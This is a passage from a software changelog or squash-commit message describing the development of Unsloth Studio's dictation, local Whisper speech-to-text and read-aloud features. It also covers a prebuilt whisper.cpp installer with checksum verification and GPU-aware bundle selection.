the chosen device with the same fallback rules as the main adapter,
passes the track to recognition where supported and releases the
stream when recognition ends
- Closing the Voice tab cancelled the shared speechSynthesis even when
read aloud was playing a chat message. Cleanup now only cancels when
the tab owns an active preview
- Double clicking Start test could race two recognizers and leak the
first stream. A starting flag set before the getUserMedia await makes
start reentrancy safe
- Turning off the read aloud setting mid playback removed the only stop
control. The stop button now renders whenever a message is speaking
- When an engine lacks the start(track) overload, both dictation paths
now release the selected device stream before retrying with the
default microphone instead of holding it open
- Read aloud support no longer requires Web Speech synthesis: the
Unsloth TTS engine only needs audio playback, so it stays available
in WebViews without speechSynthesis, with a clear error if the system
engine is chosen there
Not addressed here: cancelling in flight backend TTS generation on
stop. The route runs generation in a worker thread without a
cancellation path, which is shared pre existing behavior with audio
chat generation and belongs in a backend change.
All suites re-run green: 46 unit, 13 backend contract and 60 browser
matrix assertions across Chromium, Firefox and WebKit, plus probes for
the unlabeled device branch and the double click race.
* Studio: drop empty and duplicate voiceURIs so the Voice tab never renders a crashing Select item
* Studio: guard dictation mic lifecycle in Voice test and Compare composer
Release a microphone opened after the component unmounts, and stop Compare
dictation on a permission or security failure instead of silently recording
from the default device, matching the main chat adapter.
* Studio: fix dictation and read-aloud lifecycle edge cases in Voice settings
- Join final dictation chunks with a space so recorded transcripts do not merge words
- Ignore a stale recognizer onend so a quick stop then restart is not torn down
- Use previewingRef so a double click on TTS preview does not orphan the first request
- Keep the read-aloud stop control visible when a new run starts while a message is spoken
- Stop the dictionary remove button from deleting an adjacent entry on a blur then click race
* Studio: trim redundant Voice settings comments
* Studio: fix Voice preview and Compare dictation edge cases
- Only cancel the shared speechSynthesis for a system-voice preview, so stopping
a Studio preview no longer stops an unrelated chat read-aloud
- Release the Studio preview audio and its WAV data URL on normal completion
- Iterate every finalized result in Compare dictation so batched phrases are kept
- Cap persisted recent dictations to the last 20 on hydration
* Studio: use clipboard fallback for recents and release failed preview audio
- Copy recent dictations via the copyToClipboard helper so the execCommand
fallback works in Safari and insecure http LAN contexts
- Release the Studio preview audio when play() rejects, not just on ended/error
* Studio: add local speech-to-text dictation engine
Add an offline dictation engine that transcribes with a local faster-whisper
model, alongside the existing browser (Web Speech) engine. The browser engine
streams audio to Apple or Google speech services and needs internet; the new
engine runs on the server, works offline, and drives any chat model without
evicting it (it loads in the backend process, separate from the model
subprocess). It also gives Firefox dictation, which has no Web Speech support.
Backend: a lazily-loaded, kept-warm faster-whisper sidecar and three routes
under /api/inference/audio (stt/status, stt/load, transcribe). faster-whisper
is torch-free, so this does not disturb the existing model stack.
Frontend: a Dictation engine setting (browser or local model), a curated model
picker with sizes, and MediaRecorder capture posted to the transcribe route.
The model warms automatically when the engine is selected, with live status.
* Studio: stream local STT transcription as you speak
Local dictation showed nothing until you stopped, because the whole clip was
transcribed once on stop. Now the growing recording is re-transcribed on a
fast pass every second and emitted as live interim text, with an accurate
final pass on stop. Partial recordings decode fine, and the model refines
earlier words as more audio arrives.
Adds an interim flag to the transcribe route (beam 1, no VAD) for the fast
preview pass; the final stop uses the accurate path.
* Studio: make local dictation stop instant and reliable
Stopping local dictation waited for a final network transcription before the
session ended, so the stop button did not flip and a second click ended the
session early and dropped the text. Now stop commits the live transcript
immediately, releases the mic at once, and ignores a second stop while
finalizing. Previews run more often so the committed text is current.
* Studio: record local dictation in short clips for reliable streaming
Re-transcribing a growing buffer every second got slower as it grew, flooded
the backend, showed stale words, and could leave the stop button stuck waiting
on a backlog. Record short independent clips instead and transcribe each once,
appending the text as you speak. Work per clip is bounded, so stopping is
prompt (with a hard timeout as a safety net) and long dictations stay smooth.
* Studio: dictate then transcribe once on stop, ChatGPT style
Local STT dictation streamed by re-transcribing the growing clip, which
was quadratic and saturated the backend (multi-second lag), and stop only
halted the recorder without releasing the mic, so it kept recording. Record
the microphone continuously, release it the instant the user stops, and
transcribe the whole clip once. Stopping is immediate and the transcript
lands in about a second. Also add the tiny model for the fastest option.
* Studio: surface dictation and read-aloud failures instead of failing silently
- Compare dictation reports microphone and speech-recognition errors via toast,
reusing the main chat adapter's describeMediaError and describeSpeechError
- Read-aloud toasts genuine model or synthesis failures while ignoring cancellations
* Studio: ChatGPT-style recording bar for dictation
Clicking the mic now drops the composer into a dedicated recording bar
with a live waveform, a discard (X) and a confirm (tick), instead of a
plain stop button. The tick stops recording and transcribes the clip;
the X throws the recording away and keeps whatever text was already in
the composer. The model adapter taps the mic with an analyser to drive
the waveform, and the router tracks the live session so the X can cancel
it without transcribing.
* Studio: transcribe dictation while speaking, ChatGPT layout
Match ChatGPT's recording layout: the bar now renders in place of the
input with the left plus button kept, the waveform in the middle, and
the discard and confirm buttons together on the right.
Cut the post-confirm delay by transcribing in the background as the user
talks. The audio is split at natural pauses (voice-activity detection off
the same analyser that drives the waveform) and each clip is transcribed
as it is cut, so confirming only has to finish the short final tail. The
model is also warmed when recording starts so the first run never pays a
cold load.
* Studio: ChatGPT waveform, hide tools while dictating, faster STT
Make the recording UI read like ChatGPT: the waveform is now a dense row
of round dots that rise into thin centered bars, and while dictating only
the plus button shows, with the mode badge and tool toggles hidden so the
bar is just the waveform and controls.
Speed up transcription: decode greedily (beam_size=1), which is several
times faster on CPU with negligible accuracy loss on short dictation
clips, and cap background segments at 6s so the final tail after confirm
stays short.
* Studio: finish ChatGPT voice bar and low-latency STT
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: full-width waveform with a timer that freezes on stop
Use the full-width waveform for the recording bar: brighter, bigger bars
that advance on a fixed cadence (keeping peaks between advances) so they
glide instead of racing by, inset from the composer edges. Keep a visible
timer and the green confirm button, matching the ChatGPT reference, and
freeze the timer and waveform the moment the user confirms.

* Studio: source local STT from Unsloth Whisper models
Point the dictation STT sidecar and its Model Hub download entries at
Unsloth's Hugging Face Whisper repos (small, large-v3-turbo, large-v3)
and run them through Transformers, so Studio only ever downloads
Unsloth-uploaded weights. Drop faster-whisper and the Systran/mobiuslabs
repos; keep the Model Hub as the only download path via local_files_only,
and keep PyAV for audio decoding.
Device selection uses float16 on CUDA and float32 on MPS and CPU, since
Whisper's decoder is unstable in float16 on MPS and repeats tokens.
Shorten the model picker labels to name plus download size and update the
STT tests for the new backend.

* Surface voice test recognition errors and fall back to Studio TTS
- Voice test now toasts non-abort speech-recognition failures instead of

synthesis (audio-only WebView), so it no longer errors immediately.
* Fix reviewed STT lifecycle races
* [pre-commit.ci] auto fixes from pre-commit.com hooks

* Fix read-aloud fallback controls
* Guard read-aloud stop when deleting a non-speaking message
aui.message().stopSpeaking() throws unless this message is the one being
read aloud, so calling it unconditionally rejected the delete handler before
the message was removed. Only stop speech when this message is speaking.
* Cap recent dictation transcript length before persisting
Recent dictations only limited entry count, so a long transcript stored the
full text in the persisted voice settings and a few could exceed the
localStorage quota, throwing synchronously from the uncaught dictation cleanup
path. Truncate each entry on save and on hydration, matching the dictionary cap.
* Studio: keep dictation mic clickable and guide to local model
Register the dictation adapter unconditionally so the mic stays enabled
for any engine and starts working right after switching to the local
model on an already-open thread.
When the browser engine cannot run (Firefox, Brave, non-secure origins),
clicking the mic shows a toast that points to the local speech-to-text
model instead of leaving a disabled button. The toast stacks its action
below the text with a fully rounded button.
* Studio: add bottom padding below the dictation guidance toast button
* Studio: increase bottom padding under the dictation toast button
* Studio: add bottom padding inside the dictation toast button
* Studio: add five Whisper defaults and custom model search
Add private UnslothAI Tiny and Base mirrors to the curated local STT choices while keeping Small as the default. Let users search or paste a Transformers-compatible Whisper repository and validate it end to end.
Keep short dictations in one clip to avoid repeated padded encoder work, then split longer recordings near Whisper's 30-second boundary.
Update hidden model filters and tests, including the CPU-only CI runtime stub for PyAV.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: use public Unsloth Whisper repositories
Point the Tiny and Base dictation defaults to the public unsloth repositories and remove the private mirror references from model filtering and tests.
* Studio: update Whisper download sizes
Reflect the cleaned public Tiny and Base repositories in the curated model labels.
* Studio: right-align STT model size, fix dropdown wheel scroll, refresh sizes
- Show the download size on the right of each model row so long names
like Whisper Large v3 Turbo no longer hide it
- Update curated Whisper sizes to the safetensors weights actually
downloaded: Tiny 151 MB, Base 290 MB, Small 967 MB
- Drive the model list scroll from a wheel handler so the mouse wheel
scrolls it inside the Settings dialog, not just the scrollbar
- Add a search icon and shorten the placeholder to Search model
* Studio: do not search when a dictation model is picked, shrink repo label
- Treat the filled-in model text as a selection, not a query, so choosing
a model no longer kicks off a Hugging Face search
- Make the repository line under each model name smaller
* Studio: tighten dictation model and local engine descriptions
* Studio: keep model display on pick instead of the query, shrink row text
- Guard the combobox input so selecting a model shows its name and does
not echo the typed query back or start a search
- Map the item label to the friendly display so picks fill the field
- Reduce the model name and size text in each row
* Studio: show only the model name in the dictation field, shrink size label
- Drop the download size from the search field; the name alone is shown
once a model is selected, with sizes kept in the dropdown list
- Reduce the size label text in each row
* Studio: clarify the dictation model description
* Studio: drop Hugging Face from the dictation model description
* Studio: move the dictation dictionary to its own Manage subpage
- Replace the inline entry list with a Manage row, matching Dictation
history, so a long dictionary no longer crowds Voice settings
- Add a DictationDictionaryView subpage that holds the entry editor
* Studio: match STT field font, use best voice for System default
- Bump the dictation model field text to text-sm so it matches the
engine dropdown next to it
- Resolve the System default read-aloud voice to the top curated voice
instead of the browser default, which is a robotic legacy voice on macOS
* Studio: rerank read-aloud voices and drop duplicate voice entries
- Rank by vendor quality, then the user's locale, then a preferred list of
natural voices, so the best voice leads instead of the first alphabetically
- Collapse voices that macOS reports twice under one name and language
* Studio: fold dictionary and recents into the dictation section
- Drop the separate Dictation dictionary and Recent dictations headings;
their Manage rows now sit under Dictation, split by the row divider
- Shorten the custom spellings description
* Studio: add search and sort to dictation history
- Filter saved dictations by text with a search field
- Sort by newest, oldest, or A to Z; show a no-matches message
- Keep Clear all available regardless of the current filter
* Studio: settle cancelled STT loads before training and fix dictation review items
Wait for a cancelled STT load to exit and release its memory before
reporting it freed for training, so the loader cannot still be inside
from_pretrained()/.to(device) holding VRAM when the training subprocess
starts. A load that finishes before observing the cancel now gets
unloaded so the memory is actually reclaimed.
Clear the accelerator cache before the CPU fallback in load() so a failed
CUDA/MPS load does not strand reserved VRAM once the sidecar is marked
CPU-resident.
Send the saved Hugging Face token when polling STT download progress so a
gated or private repo resolves and shows the correct Load/Downloaded
state instead of reporting missing.
Mark the composer Dictate button as type="button" so clicking it does not
also submit the draft when the composer already has text or attachments.
* Studio: pin dictation settings per session and close STT startup races
Capture the STT model and language when a dictation session starts and
pass them to every queued segment and the warm-up load, so changing the
model or language mid-recording no longer transcribes the same clip with
the wrong model or a model that is not downloaded.
Check the local runtime at the top of transcribe(), before the model
cache lookup and the bounded audio decode, so a server missing PyTorch or
Transformers returns 501 up front instead of decoding a long clip first.
Treat the training startup window as active for STT device selection.
start_training frees VRAM in before_spawn but only assigns _proc later, so
a concurrent STT load could take the GPU that was just cleared. A startup
flag now reports training active from the free until the process is live,
forcing those loads to CPU; a finally clears it on every exit.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: stub the STT runtime check in transcribe orchestration tests
transcribe() now verifies the local runtime up front, so the unit tests
that exercise transcription orchestration must treat the runtime as
present to keep passing where PyTorch, Transformers, and PyAV are not
installed. Stub ensure_stt_available in the shared fixture and restore
the real check in the availability and load-rejection tests.
* Harden custom Whisper dictation models
* [pre-commit.ci] auto fixes from pre-commit.com hooks

* Add whisper.cpp dictation engine with per-engine downloads and history rework
Engines
- New GGML STT sidecar that runs a managed whisper-server subprocess with
idle unload, plus a pinned static build script (scripts/build_whisper_cpp.sh)
- Dictation engine picker now offers Browser, Local transcription
(whisper.cpp), and Local transcription (Transformers)
- Both local engines serve the same five curated Whisper models and download
them directly with byte-level progress reported by /audio/stt/status
- Models auto load on selection and when their download finishes
- Unload and training admission account for both engines
Benchmarks (Apple Silicon, greedy, warm, same checkpoints)
- whisper.cpp transcribes 2.4x to 5x faster than Transformers and loads in
about 0.45s vs 0.86s for Whisper Small
- whisper.cpp GGUF path is unchanged by the Transformers addition
(load 0.445s -> 0.444s, short clip 0.391s -> 0.347s, long 1.197s -> 1.129s)
Voice settings UI
- Plain curated model select replaces the searchable combobox
- Single download progress bar with transfer rate for both engines
- Dictation history now stores every dictation with Show more pagination,
a top Clear history action, and links back to the chat it was spoken into
- Archived chats dialog gets the same pagination
- Delete dialog offers deleting a dictation together with its chat
Tests: 88 backend STT tests pass, including new snapshot download coverage.
Frontend typecheck, lint, i18n parity, and production build pass.
* Merge local engines into one option and source GGML models from unslothai
Engine selection
- The dictation engine dropdown is back to two choices: Browser and Local
transcription. The selected model decides the backend: curated ids run
GGML checkpoints through whisper.cpp, searched Hugging Face repositories
run safetensors through Transformers
- Model picker lists the curated models and searches Hugging Face for other
Whisper repositories, validating them before selection. The trigger is a
plain button so the selection never renders inside a text input
- /audio/stt/status accepts a model query param so downloaded state works
for custom repositories; the engine param on load, transcribe, and
download routes is derived from the model everywhere
Model source
- Curated GGML checkpoints now download from the Unsloth-hosted
unslothai/whisper-*-GGUF repositories (one repo per model) instead of
ggerganov/whisper.cpp; cache lookups, progress totals, and in-flight blob
tracking are per-model
Fixes
- Voice settings and dictation history were not persisting: the quota-safe
localStorage wrapper was declared after the store that uses it, so the
persist storage factory failed silently. Every settings write also threw
mid-click, which kept the model picker popover from closing on selection
- is_model_downloaded now verifies config, preprocessor config, and real
weight files instead of trusting an offline snapshot lookup, so a partial
download left by an aborted fetch shows the Download button instead of
failing to load
- Removed whisper.cpp mentions from user-facing text: the ready status
shows Loaded instead of the runtime name, picker rows show the source
repository, and runtime error messages say local transcription runtime
Verified with automated browser sessions and live API checks: selection
closes the picker with no page errors, persisted settings hydrate on
reload, a stale partial snapshot triggers download then loads on MPS and
transcribes, and curated models download from the unslothai repos. 88
backend STT tests, typecheck, lint, i18n parity, and build pass.
* Skip the duplicate source line for custom models in the STT picker
A custom repository's display name is its id, so search results and the
appended current selection rendered the same string twice. The source
line now only renders when it differs from the name; curated rows keep
their name, unslothai source repository, and download size.
* Verify every shard of a sharded checkpoint in the downloaded check
A snapshot holding one of N shards (or a corrupt shard index) passed the
downloaded check and then failed at load. When model.safetensors.index.json
exists, every shard in its weight map must now be present. Found by
simulation; covered by a regression test.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Rename stale _starting references in the pump resilience tests
The startup flag on TrainingBackend was renamed to _spawn_in_progress but
two tests added alongside it still asserted on the old name, failing the
Python 3.11 to 3.13 CI jobs.
* Make the selected model row clearly highlighted in the STT picker
The current selection was a faint background tint. It now uses the accent
background with a medium weight name. Two line rows use a small corner
radius; single line custom repo rows keep the pill shape.
* Address review feedback on STT snapshot checks, VRAM release, and dictation UX
Verify snapshot completeness in the load preflight so a partial download
fails before the audio is decoded, for curated and custom repos alike.
Drop the failed accelerator traceback before the CPU retry so the cache
clear can actually release that memory. Keep unloading the GGUF sidecar
after cancelling an in-flight Transformers load; both engines can hold
memory at once. Allow Auto language with English-only .en checkpoints,
matching the backend which sends no forced language. Keep the discard
button usable while a transcription is pending so a slow or hung request
cannot trap the composer in dictation mode. Stop linking Compare and
settings test dictations to the unrelated active single chat thread.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Move the CPU retry out of the exception handler
On Python 3.10 the interpreter exception state keeps its own reference
to the traceback, so dropping it from the caught exception was not
enough to release the failed accelerator load during the retry. Leaving
the handler before clearing the cache works on every supported version.
* Address review feedback on session handoff, chat pinning, and server lifetime
Starting a dictation from a second entry point now cancels the session
it replaces, so the old recording cannot keep the microphone open or
save a transcript with no discard button pointing at it. The linked
chat is pinned when recording starts, so switching threads while a
transcription finalizes cannot relink the transcript to the newly
opened chat. whisper-server is now bound to Studio's lifetime like the
other long-lived children: PDEATHSIG on Linux, the parent job object on
Windows, and pid adoption so the shutdown sweep reaps it; before this
it survived a Ctrl+C exit as an orphan still holding the model.
* Remove the dictation mic test from Voice settings
The composer dictate button covers the same check, so the test row, its
transcript panel, the unsupported fallback row, and their strings and
search entry are gone.
* Studio STT: gate GGUF whisper-server on training and fix dictation retry and dictionary edits
GGUF (whisper.cpp) sidecar:
- Launch whisper-server with --no-gpu while training is active, mirroring the Transformers sidecar's CPU device choice, so a mid-training dictation cannot reclaim the VRAM training just freed.
- Report is_loading() during whisper-server startup so training VRAM admission accounts for the accelerator memory it is about to bind.
- Require PyAV in is_available() so /audio/stt/status reports the engine unavailable when uploads cannot be decoded, instead of loading fine and then 501ing at transcription.
- Reject a missing model before decoding audio, matching the Transformers download preflight.
Voice settings:
- The download Retry button now restarts the download; the sidecar error is sticky until a new start(), so re-polling alone never cleared it.
Dictation dictionary:
- Tabbing from an emptied entry to its remove button no longer commit-splices the row first, which shifted indices and deleted the wrong entry.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio STT: fix curated GGUF whisper filenames to match hosted repos
The unslothai/whisper-*-GGUF repos host the checkpoint as whisper-<id>.bin,
not ggml-<id>.bin, so every curated dictation download and cached-path
lookup 404'd and the whisper.cpp engine could never load a model. Point
GGML_STT_MODELS at the real filenames and guard the naming with a test.
* Studio STT: validate a custom dictation repo before downloading it
The Transformers STT engine accepts an arbitrary owner/model repo, but the
download route handed it straight to snapshot_download, pulling a possibly large
non-Whisper repository into the shared HF cache. Confirm the repo is a Whisper
checkpoint first with the existing metadata-only validate_remote_model (no
weights); curated ids short-circuit and the GGUF engine (curated-only) is
unaffected. A non-Whisper repo now 422s before any download.
* Studio STT: preempt a still-loading GGUF server for training admission
A whisper-server still in its startup window binds accelerator memory but has no
loaded_model yet, so training admission could miss it and launch into an OOM.
Make the GGUF startup cancellable (cancel_pending_load signals an abort event and
terminates the starting process without the load lock; _wait_for_server observes
it and raises SttLoadCancelledError; wait_for_load_to_settle blocks on the lock
until the killed server is reaped), and always fold the GGUF sidecar into the
resident-STT summary so a resident Transformers model cannot mask a loading GGUF
server. free_stt_model_for_training now cancels an in-flight load and waits for it
to settle before training claims the memory.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio STT: fall back to Transformers when whisper-server is absent
A curated dictation model (including the default small) hard-pinned the GGUF
engine, but standard installs do not ship whisper-server, so every recording
501'd instead of using the Transformers engine that serves the same checkpoint
-- the GGUF sidecar's own documented contract. Add _resolve_serving_stt_engine:
a GGUF request for a curated id (the only ids GGUF accepts, all Transformers-
servable) downgrades to Transformers when whisper-server is unavailable, applied
consistently to download, load and transcribe (not unload, which targets a
specific engine). The Voice tab likewise falls back to the Transformers status so
the model is not shown unavailable and download is not blocked.
* Studio STT: hide custom Whisper caches from the legacy model pickers
The legacy /cached-models (and /cached-gguf) routes called is_hidden_model with
only the owner/model id, which cannot reach the config-based Whisper check, so a
downloaded custom (non-curated) Whisper checkpoint was still offered as a chat
model. Pass the cached snapshot path so _path_is_whisper_model inspects the repo
config and hides it, matching the discovery route.
* Studio STT: hide GGUF dictation repos, lock-free status, unload fallback, split training eviction
- Hide the curated GGUF dictation repos (unslothai/whisper-*-GGUF) from the chat
model inventory and pickers, backend and frontend. Only their Transformers
safetensors companions were hidden; the GGUF repos use a different org and a
-GGUF suffix and carry a raw .bin with no whisper config.json, so they leaked
into chat pickers.
- Make the GGUF sidecar loaded_model/device accessors lock-free, mirroring the
Transformers sidecar. transcribe() holds self._lock across the whole inference
call, so /audio/stt status polls and training admission previously blocked
behind an in-flight transcription.
- stt_unload resolves through the serving resolver: a "gguf" pick on a host
without whisper-server is served by the Transformers fallback, so unload must
target that engine or the resident model is never freed. Unload also attempts
every engine even if one raises, so a failure freeing one backend no longer
skips the other.
- free_stt_model_for_training frees the Transformers and GGUF sidecars under
independent exception boundaries so a failure unloading one no longer skips
the other before training claims the memory.
Adds tests/test_stt_review_fixes.py covering all four.
* Studio STT: resolve Auto dictation language for the model engine + snapshot process liveness
- The model dictation adapter sent the raw setting (the literal "auto") to the
backend, while the browser engine resolves Auto via resolveDictationLanguage.
A batch of non-English voice notes came back mostly English on Auto. Add
resolveModelDictationLanguage: only the literal "auto" is resolved to a
concrete locale, gated so it becomes a language the model AND Whisper can
honor (mirroring the backend's known-whisper-languages set); an explicit
language, or a locale Whisper cannot honor, stays unchanged/auto-detect. Wire
it into both adapter call sites.
- GgmlSttSidecar._process_alive() read self._process twice; a concurrent
unload() nulls it under the lock while loaded_model/device read lock-free, so
a null between the two reads called None.poll(). Snapshot once. Adds a
deterministic regression test.
* studio: tighten comments and docstrings in the dictation modules
* studio: harden dictation model downloads, GGML readiness, and recording paths
Address review findings on the STT dictation feature:
- build_whisper_cpp.sh refuses to delete a whisper.cpp tree under a custom
Studio home unless it carries the Studio ownership marker, matching the
setup.sh policy, and marks trees it creates
- _snapshot_is_complete validates every shard of a sharded PyTorch
(pytorch_model.bin.index.json) checkpoint like the safetensors path, and
requires tokenizer assets (tokenizer.json or vocab.json + merges.txt)
- custom-repo downloads pin the revision resolved at validation time and
restrict snapshot_download to the model/tokenizer/config/preprocessor file
classes Studio loads
- the GGML sidecar holds its port reservation until just before spawning
whisper-server and only accepts readiness from a responder that both looks
like whisper.cpp's server and belongs to the still-running managed child,
probing twice, so mic audio cannot be posted to a foreign local process
- the recording adapter transcribes every non-empty segment; the RMS meter
only shapes segment boundaries and can no longer discard quiet speech
- Compare-pane dictation can cancel a pending transcription on second click,
with the button relabeled while finalizing
- localStorage quota recovery halves the dictation history until the save
fits, so small histories shrink too
- the System default TTS voice resolves to the platform default voice
- new dictation UI imports go through the chat and hub feature barrels
Regression tests cover the build-script gate, sharded PyTorch and tokenizer
completeness, revision pinning and allow patterns, and the whisper-server
readiness probe.

* Studio: prebuilt whisper.cpp via the shared llama.cpp install core, slim bundles paired to the llama prebuilt (#7294)
* Studio STT: add prebuilt whisper.cpp (whisper-server) installer
New install_whisper_prebuilt.py downloads a per-platform whisper-server
bundle published by the unslothai/whisper.cpp prebuilt CI into the managed
whisper.cpp dir (build/bin/whisper-server) so local dictation needs no
compiler. Mirrors install_node_prebuilt.py / install_llama_prebuilt.py:
host + backend detection, sha256 pins (whisper_prebuilt_pins.json) as the
trust anchor, staging + install lock + atomic swap, traversal-safe extract,
co-located shared libs (RUNPATH=$ORIGIN), an UNSLOTH_WHISPER_PREBUILT_INFO.json
marker with idempotent "already matches", and exit codes 0/1/2/3. Not wired
into setup yet; the pins ship empty so every asset fails closed until the
first fork release is published and its digests are reviewed in.
* Studio STT: install prebuilt whisper.cpp during setup and update
Add a fail-open whisper.cpp block to setup.sh after the llama.cpp section so
`unsloth studio update` (and a fresh install) fetch the prebuilt whisper-server
into the managed whisper.cpp dir the sidecar discovers. It skips a user-set
WHISPER_SERVER_PATH/UNSLOTH_WHISPER_CPP_PATH, honors UNSLOTH_SKIP_WHISPER_INSTALL,
forwards the resolved ROCm gfx, and never aborts setup: a busy install keeps the
existing runtime, and an unavailable prebuilt stays quiet (source build is opt-in
via UNSLOTH_WHISPER_FORCE_COMPILE) since Transformers STT and browser dictation
remain. Register UNSLOTH_WHISPER_PREBUILT_INFO.json as Studio-owned evidence.
* Studio STT: harden whisper-server child env + WSL ROCm detection
- Sidecar spawns whisper-server with a scrubbed child env that prepends the
binary dir (co-located GPU libs) to the loader path, and on WSL2 ROCm loads
the system HIP first (HSA_ENABLE_DXG_DETECTION=1) so a bundle's bare-metal HIP
does not segfault on /dev/dxg. Secret-bearing vars are dropped from the child.
- find_whisper_server_binary now requires an executable, not just a file.
- Installer rocm probe passes HSA_ENABLE_DXG_DETECTION and falls back to
/opt/rocm/bin/rocminfo so a WSL ROCm host is not misdetected as CPU-only;
gfx parsing skips the gfx000 CPU agent and generic ISA lines.
- Tests for the child env (secret scrub, lib dir, WSL HIP precedence), the
executable check, and the WSL rocm detection.
* Studio STT: in-app whisper.cpp prebuilt update stack + ship pins in the wheel
Mirror the llama.cpp update stack for the whisper.cpp prebuilt so Studio can
detect and install a newer whisper-server release from inside the app:
- backend/utils/whisper_cpp_freshness.py: read UNSLOTH_WHISPER_PREBUILT_INFO.json
and compare the installed release against the newest unslothai/whisper.cpp
release. Whisper tags are v<upstream>-unsloth.<N>, so is_behind compares a
(major, minor, patch, serial) key with a strict downgrade guard; 24h cache;
fail-open.
- backend/utils/whisper_cpp_update.py: run install_whisper_prebuilt.py to fetch
and atomically swap the newest bundle, unloading the warm GGUF sidecar first.
- backend/routes/whisper.py mounted at /api/whisper (update-status + update).
- pyproject: add whisper_prebuilt_pins.json to studio package-data so the
installer's trust anchor ships in the wheel (it is a data file, not a .py
module, so package discovery alone does not include it; node_prebuilt_pins.json
is listed for the same reason). Without this a pip-installed wheel had no pins
and the prebuilt install aborted to Transformers STT.
Adds test_whisper_cpp_freshness.py (version parser, is_behind matrix + downgrade
guard, marker layouts, stale decision, fail-open).
* Studio STT: verify whisper prebuilts via the release checksum index, like llama.cpp
Re-align the whisper.cpp prebuilt installer to install_llama_prebuilt.py's trust
model: instead of a committed whisper_prebuilt_pins.json, verify every download
against the release's own whisper-prebuilt-sha256.json checksum index, fetched
from the same GitHub release.
- parse_release_checksums / fetch_release_checksums / expected_sha256_for replace
the pins layer. The index is validated for schema/component and that its
release_tag matches the resolved release; an asset absent from it, a release
that does not publish it, or a manifest sha256 that disagrees with it all fail
closed to a source build.
- resolve_release_tag now resolves the newest published release at runtime (or an
explicit --published-release-tag), matching llama and the freshness check;
removed the pinned-default and the UNSLOTH_WHISPER_ALLOW_UNVERIFIED opt-in.
- Delete studio/whisper_prebuilt_pins.json and drop its pyproject package-data
entry (nothing to ship now, same as llama which has no committed pins).
- Adds test_install_whisper_prebuilt_checksums.py (index parser, fail-closed on
uncovered asset, tampered-manifest guard, newest-release resolution).
This is a same-origin checksum (integrity, not authenticity), identical to the
llama.cpp installer; pair releases with GitHub artifact attestations for provenance.
* Resolve whisper prebuilt release via the download host (no GitHub API)
Mirror install_llama_prebuilt.py's fast path: resolve the release tag from
the releases/latest redirect and fetch the manifest + checksum index from
constructed releases/download URLs, so the common install path makes zero
api.github.com calls (unauthenticated api.github.com is capped at 60 req/hour
per IP; the download host is not). Fall back to the GitHub API only on a 404,
malformed asset, or tag mismatch.
* Studio STT: coverage-aware whisper prebuilt selection via a shared core
whisper's select_artifact returned the first os/arch/backend manifest match and
ignored the SM-coverage fields the release manifest already carries, so a
Blackwell B200 (sm_100) was served cuda12-legacy (sms 50-61) -- runnable only via
forward PTX JIT. install_llama_prebuilt.py on the same host correctly picks
cuda13-newer.
Extract the coverage-aware selection into a shared, component-agnostic core under
studio/backend/utils/prebuilt/ (selection + GPU host-capability detection), lifted
from llama's linux_cuda_choice_from_release / _artifact_covers_sms / _sm_range and
generalised over a normalised artifact. whisper's HostInfo now records the GPU
compute caps + driver CUDA version (honoring CUDA_VISIBLE_DEVICES), and
select_artifact routes CUDA/ROCm through the shared selector: every visible SM
must be covered, the tightest-covering profile wins (Blackwell-aware runtime-line
ordering), ROCm matches the gfx target exactly, and an uncovered GPU falls back to
the CPU bundle. CPU/Metal/Vulkan keep first-match. The resolver JSON, exit codes,
and "already matches" contract are unchanged.
On the B200 the installer now resolves cuda13-newer, matching llama.
* Studio STT: gate whisper CUDA selection on the on-disk runtime, like llama
The prebuilt CUDA bundles are dynamically linked and intentionally do NOT ship
libcudart/libcublas -- they load the same runtime the host already has. So the
driver's advertised CUDA version is only an upper bound: a cuda13 bundle still
needs cuda13 runtime libraries present on disk. Port llama's on-disk runtime
scan (detected_linux_runtime_lines / detected_windows_runtime_lines) into the
shared core and intersect it with the driver-compatible lines in
select_cuda_attempts. A host with a cuda13 driver but only cuda12 runtime (e.g.
torch-cuda12) now correctly gets a cuda12 bundle instead of an unloadable cuda13
one; a host with no CUDA runtime at all falls back to CPU.
Fixes a glob bug in the port (any(Path(d).glob(p) for d in dirs) tests generator
truthiness, not a match) that made every major report present; add a real
filesystem test that exercises the scan.
* studio: harden shared prebuilt core to full llama parity
Apply the review findings on the shared coverage-aware prebuilt-consumer
core so whisper.cpp selection is exactly equivalent to the llama.cpp path.
hosts.py: port llama's CUDA_VISIBLE_DEVICES handling. A GPU hidden by an
index/UUID selector now reports has_usable_nvidia False instead of staying
usable, via supports_explicit_visible_device_matching plus the physical /
explicit-match branches, and _select_visible_rows now matches rows the way
llama does (index or UUID, gpu- prefix optional) and skips unmatched tokens
rather than keeping all rows. Adds the Linux /proc/driver/nvidia/gpus
fallback and has_physical_nvidia. Adds parse_macos_version.
runtime_libs.py: the Linux on-disk scan now requires the exact libcudart /
libcublas SONAME (libcudart.so.13), not a libcudart.so.13* glob, so a bare
versioned file without the SONAME symlink no longer counts as loadable.
Hardens the ldconfig parse against an empty left-hand side.
selection.py: fix the Blackwell/torch reordering so it keys on the covering
runtime lines (falls through to the torch preference when the covering lines
were filtered out), matching linux_cuda_choice_from_release. Corrects the
compatible_runtime_lines_for_driver docstring: the bundles do not ship the
CUDA runtime, so the driver version is only an upper bound and the caller
must intersect with the on-disk scan.
install_whisper_prebuilt.py: enforce a macOS artifact's min_os (new
HostInfo.macos_version) so a bundle that cannot load on the host OS version
is dropped. Keep resolver stdout to only the JSON line by leaving logs on
stderr in --resolve-prebuilt mode, and map an unexpected probe failure to
prebuilt_available False instead of a traceback.
Tests: new host-probe suite for the visible-device logic, exact-SONAME
runtime-scan cases, macOS min_os filtering, resolver stdout-only-JSON,
exit-code mapping, and the repo key.
* studio: fix whisper prebuilt selection + launch parity gaps from review
A parallel review surfaced integration defects where the whisper path could
select or launch a bundle that cannot run on a concrete host. Each is fixed to
match install_llama_prebuilt.py.
macOS min_os: the manifest labels macOS requirements as macos-<version>
